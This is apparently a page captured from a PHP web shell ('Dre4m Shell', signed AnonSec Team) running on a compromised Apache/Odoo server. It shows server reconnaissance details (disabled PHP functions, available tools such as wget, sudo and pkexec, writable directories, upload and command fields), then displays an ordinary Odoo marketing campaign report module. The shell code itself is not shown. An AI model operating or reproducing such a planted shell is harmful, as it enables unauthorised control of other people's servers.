Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 18.222.34.209
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/odoo/addons/marketing_campaign/report/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /opt/odoo/addons/marketing_campaign/report/campaign_analysis.py
# -*- coding: utf-8 -*-
# Part of Odoo. See LICENSE file for full copyright and licensing details.
from odoo import tools
from odoo import api, fields, models


class CampaignAnalysis(models.Model):
    _name = "campaign.analysis"
    _description = "Campaign Analysis"
    _auto = False
    _rec_name = 'date'

    res_id = fields.Integer('Resource', readonly=True)
    year = fields.Char('Execution Year', readonly=True)
    month = fields.Selection([
        ('01', 'January'),
        ('02', 'February'),
        ('03', 'March'),
        ('04', 'April'),
        ('05', 'May'),
        ('06', 'June'),
        ('07', 'July'),
        ('08', 'August'),
        ('09', 'September'),
        ('10', 'October'),
        ('11', 'November'),
        ('12', 'December')
        ], 'Execution Month', readonly=True)
    day = fields.Char('Execution Day', readonly=True)
    date = fields.Date('Execution Date', readonly=True, index=True)
    campaign_id = fields.Many2one('marketing.campaign', 'Campaign', readonly=True)
    activity_id = fields.Many2one('marketing.campaign.activity', 'Activity', readonly=True)
    segment_id = fields.Many2one('marketing.campaign.segment', 'Segment', readonly=True)
    partner_id = fields.Many2one('res.partner', 'Partner', readonly=True)
    country_id = fields.Many2one('res.country', related='partner_id.country_id', string='Country')
    total_cost = fields.Float(compute='_compute_total_cost', string='Cost')
    revenue = fields.Float('Revenue', readonly=True, digits=0)
    count = fields.Integer('# of Actions', readonly=True)
    state = fields.Selection([
        ('todo', 'To Do'),
        ('exception', 'Exception'),
        ('done', 'Done'),
        ('cancelled', 'Cancelled')
    ], 'Status', readonly=True)

    @api.multi
    def _compute_total_cost(self):
        for analysis in self:
            wi_count = self.env['marketing.campaign.workitem'].search_count([('segment_id.campaign_id', '=', analysis.campaign_id.id)])
            analysis.total_cost = analysis.activity_id.variable_cost + ((analysis.campaign_id.fixed_cost or 1.00) / wi_count)

    @api.model_cr
    def init(self):
        tools.drop_view_if_exists(self.env.cr, 'campaign_analysis')
        self.env.cr.execute("""
            CREATE OR REPLACE VIEW campaign_analysis AS (
            SELECT
                min(wi.id) AS id,
                min(wi.res_id) AS res_id,
                to_char(wi.date::date, 'YYYY') AS year,
                to_char(wi.date::date, 'MM') AS month,
                to_char(wi.date::date, 'YYYY-MM-DD') AS day,
                wi.date::date AS date,
                s.campaign_id AS campaign_id,
                wi.activity_id AS activity_id,
                wi.segment_id AS segment_id,
                wi.partner_id AS partner_id ,
                wi.state AS state,
                sum(act.revenue) AS revenue,
                count(*) AS count
            FROM
                marketing_campaign_workitem wi
                LEFT JOIN res_partner p ON (p.id=wi.partner_id)
                LEFT JOIN marketing_campaign_segment s ON (s.id=wi.segment_id)
                LEFT JOIN marketing_campaign_activity act ON (act.id= wi.activity_id)
            GROUP BY
                s.campaign_id,wi.activity_id,wi.segment_id,wi.partner_id,wi.state,
                wi.date::date
            )
        """)

Anon7 - 2022
AnonSec Team